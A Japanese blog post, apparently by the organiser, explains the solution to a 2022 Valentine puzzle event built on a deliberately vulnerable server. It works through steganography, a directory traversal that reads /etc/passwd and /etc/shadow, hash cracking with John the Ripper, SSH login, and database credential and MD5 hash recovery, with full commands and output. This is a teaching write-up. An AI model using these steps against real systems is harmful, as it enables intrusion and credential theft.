佐藤真美

2022年バレンタインイベントの解説

2022/02/21 00:00カテゴリ: イベント

今回のバレンタインイベントにご参加いただき、ありがとうございました。
このページでは、バレンタインイベントの謎の解説をしていきます。

最初の謎

最初の謎は、お知らせページからです。
お知らせページにある画像をダウンロードするとハズレと書かれた画像がダウンロードされてしまいます。なので、開発者モードを開いて見てみるとbackground-imageで本当の画像がでてくるので、それをダウンロードします。
その画像のプロパティを見てみると、「カメラのブランド」の欄が「ステガノグラファー」になっています。
ステガノグラファーをインストールして読み込ませると、data.tar.xzというファイルが抽出されます。
これをtarコマンドなどで展開するとREADME.txtとimage.pngという2つのファイルが手に入ります。
↓README.txt

                解読おめでとうございます。
                一緒に入っていたimage.pngというファイルの暗号化を解いて@jun50#3708 / 449867036558884866に送信するとゲームクリアです。
                なお、暗号化を解くカギは
                http://event.sato-mami.com/mami/valentine/login.php
                でログインすると入手できます。
                

ログインサイトの謎

README.txtに書かれているリンクにアクセスすると、ログインサイトに飛びます。
ユーザー名とパスワードで別れていて両方わからないので、どう考えてもブルートフォース攻撃は無謀に思えます。
さて、ここでURLのlogin.phpを消してみましょう。Indexesページを見ることができますね。
このIndexesページ、なにか違和感を感じませんか?congratulations.phpが真っ白なページなことではないです。
そうです、Index of〜のパスがサイト上のパスではなく、サーバー上の絶対パスになっていることですね。
私はヒントで「絶対パス、相対パス」と言いました。
http://event.sato-mami.com/ での絶対パスは/home/。生きたいのはその上の階層。つまり「/../」
よって http://event.sato-mami.com/../ になにかありそうですね。
また、Parent Directoryの部分のaタグのhrefタグも、末尾がURLのあとに「/../」が追加された形になっていることからもこの説が濃厚に思われます。
しかし、打ち込んでアクセスしても「Index of /home/」と表示されます。これはおそらくブラウザが弾いているものだと思われます。
なので、Postmanなどの外部ツールを使用します。ちなみに私はtelnetを使用しました。

                $ telnet event.sato-mami.com 80
                Trying 194.135.92.179...
                Connected to event.sato-mami.com.
                Escape character is '^]'.
                GET /../ HTTP/1.0

                [中略]
                Connection closed by foreign host.
                
htmlが帰ってきました。これを保存してブラウザで開いてみます。
サーバーのルートディレクトリのIndexesページです。これでルートディレクトリの中身がわかっちゃいました。
ちなみにこの脆弱性を利用した攻撃のことを「ディレクトリトラサーバル攻撃」といいます。基本情報にも出題されたことがあるものらしいです。
なお、これはあくまでイベントのために用意した脆弱性入りのPythonで作ったウェブサーバーなので、本物のApacheでは弾かれます。
取れそうなデータがないか探ってみましょう。
                $ telnet event.sato-mami.com 80
                Trying 194.135.92.179...
                Connected to event.sato-mami.com.
                Escape character is '^]'.
                GET /../etc/ HTTP/1.0

                [中略]
                Connection closed by foreign host.
                
返ってきたhtmlファイルを見てみると、/etc/にはshadowファイルやpasswdファイルがあるようです。もし入手できれば利用できそうなので入手してみます
passwdファイルはユーザー名やID、ログインシェルなどが書かれているファイルで、shadowファイルは暗号化されたパスワードが格納されたファイルです。
なお、shadowファイルは通常一般ユーザーは見られないようにパーミッションが設定してあります。
                $ telnet event.sato-mami.com 80
                Trying 194.135.92.179...
                Connected to event.sato-mami.com.
                Escape character is '^]'.
                GET /../etc/passwd HTTP/1.0

                root:x:0:0:root:/root:/bin/bash
                mami:x:1000:1000::/home/mami:/bin/bash
                Connection closed by foreign host.

                $ telnet event.sato-mami.com 80
                Trying 194.135.92.179...
                Connected to event.sato-mami.com.
                Escape character is '^]'.
                GET /../etc/shadow

                root:x:19033::::::
                mami:$6$Lsc6t8iJfxQRnWG5$sVGmKbyIQzez3DHjlZaUVrZVrpcdl/HQMm5I5mPBL53vNEMr1Y3xYZ9hdVtDfiFLK3dS.SRKglfPChFXZOPra/:19034:0:99999:7:::
                Connection closed by foreign host.
                
いい感じです!rootユーザーの他に「mami」ユーザーが存在するようですね。また、rootユーザーにはパスワードが設定されていないようです。
先程も言ったとおり、shadowファイルは暗号化されているので、「John the Ripper」という解析ツールを使用します。
                $ cat << EOF > passwd
                root:x:0:0:root:/root:/bin/bash
                mami:x:1000:1000::/home/mami:/bin/bash
                EOF

                $ cat << \EOF > shadow
                root:x:19033::::::
                mami:$6$Lsc6t8iJfxQRnWG5$sVGmKbyIQzez3DHjlZaUVrZVrpcdl/HQMm5I5mPBL53vNEMr1Y3xYZ9hdVtDfiFLK3dS.SRKglfPChFXZOPra/:19034:0:99999:7:::
                EOF

                $ unshadow passwd shadow > unshadow.txt
                
解析に使うファイルを用意して、解析!
                $ john unshadow.txt 
                Loaded 1 password hash (crypt, generic crypt(3) [?/64])
                Press 'q' or Ctrl-C to abort, almost any other key for status
                cats             (mami)
                1g 0:00:00:06 100% 2/3 0.1506g/s 616.1p/s 616.1c/s 616.1C/s spazz..dasha
                Use the "--show" option to display all of the cracked passwords reliably
                Session completed

                $ john unshadow.txt --show
                mami:cats:1000:1000::/home/mami:/bin/bash
                1 password hash cracked, 0 left
                
これでこのサーバーのユーザー名とパスワードが「mami/cats」だとわかりました。ログインしてみましょう。
弾かれました。どうやらこのユーザー名とパスワードではないようです。
サーバーの情報であってサイトの情報ではないので当然です。
なので、この情報を使ってサーバーに侵入してみます。
                $ ssh [email protected]
                [email protected]'s password: 
                mami@3tis:~$
                
あっさり侵入できてしまいました。
                mami@3tis:~$ cat /home/mami/valentine/login.php
                [前略]
            $dsn = 'mysql:dbname=vale;host=194.135.92.179';
            $user = 'vale';
            $password = 'NekomimiMaid!';

            try {
                $dbh = new PDO($dsn, $user, $password);
            } catch (PDOException $e) {
                echo "<p style='color: red;font-size: 1.2rem;'>データベースエラーです。</p>";
                exit;
            }

            $sql = 'SELECT * FROM user WHERE user=:user';
            $prepare = $dbh->prepare($sql);
            $prepare->bindValue(':user', $_POST["user"], PDO::PARAM_STR);
            $prepare->execute();
            $result = $prepare->fetchAll(PDO::FETCH_ASSOC);

            if ($result[0]['pw'] === md5($_POST["password"])) {
                require("congratulations.php");
                congratulations();
                exit;
            } else {
                echo <"p style='color: red;font-size: 1.2rem;'>データベース上のパスワードと合致しませんでした。</p>";
            }
        [後略]
                
なるほど。このphpファイルからは
1.データベースに接続するための情報
2.サーバー上のパスワードはMD5でハッシュ化されていること
3.パスワードの認証に成功すると「congratulations.php」の「congratulations」関数が呼び出される
ということがわかりました。congratulations.phpを見てみましょう。
                mami@3tis:~$ cat /home/mami/valentine/congratulations.php 
                cat: /home/mami/valentine/congratulations.php: Permission denied
                
そう簡単には見せてくれないみたいです。しょうがないのでデータベースに接続してみます。
                $ mysql --host=194.135.92.179 -u vale -p
                Enter password: 
                mysql> use vale;
                Database changed
                mysql> SELECT * FROM user;
                +----------------+----------------------------------+
                | user           | pw                               |
                +----------------+----------------------------------+
                | mamitantokucho | 8384c07fd836a700cf1d3b2237c1e6d7 |
                +----------------+----------------------------------+
                1 row in set (0.28 sec)
                
ユーザー名とハッシュ化されたパスワードを入手できました。MD5はセキュリティ的に弱いので、レインボーテーブルで簡単に元に戻せます。
適当なサイトで復号化してみると、パスワードが「kawaee」であることがわかりました。
これを使ってログインしてみます
ログイン成功したみたいです!
しかし、「アクセスしようとしているサイトを見つけられません」と表示されています。また、アドレス欄には「admintool.mami」と書かれています。このようなTLDは存在しません。よって、権威を持っているDNSサーバーがなく、DNSからはIPアドレスを入手することとができません。
ここで、/etc/に入っていた他のファイルを見てみましょう。
                mami@3tis:~$ cat /etc/hosts
                127.0.0.1 localhost
                127.0.1.1 ubuntu

                160.251.23.81 admintool.mami

                # The following lines are desirable for IPv6 capable hosts
                ::1     ip6-localhost ip6-loopback
                fe00::0 ip6-localnet
                ff00::0 ip6-mcastprefix
                ff02::1 ip6-allnodes
                ff02::2 ip6-allrouters
                
おっと、/etc/hostsにadmintool.mamiの文字が。これを自分のパソコンの/etc/hostsに書いてアクセスしてみると...
                    管理画面へようこそ

                    佐藤真美システムの復号に使用するパスワードを記述します。

                    また、暗号方式はaes-256-cbcです。

                    パスワード: Ma3tanKawa11Suk1Suk1Da1suk1
                
成功です!

image.pngの復号化

前項でやっと復号化のために鍵を入手することができました。あとはopensslコマンドで復号化するだけです。

                    $ openssl enc -aes-256-cbc -d -in image.png -out clear.png
                    enter aes-256-cbc decryption password:
                    *** WARNING : deprecated key derivation used.
                    Using -iter or -pbkdf2 would be better.
                    

謎解きクリアです!おめでとうございます!!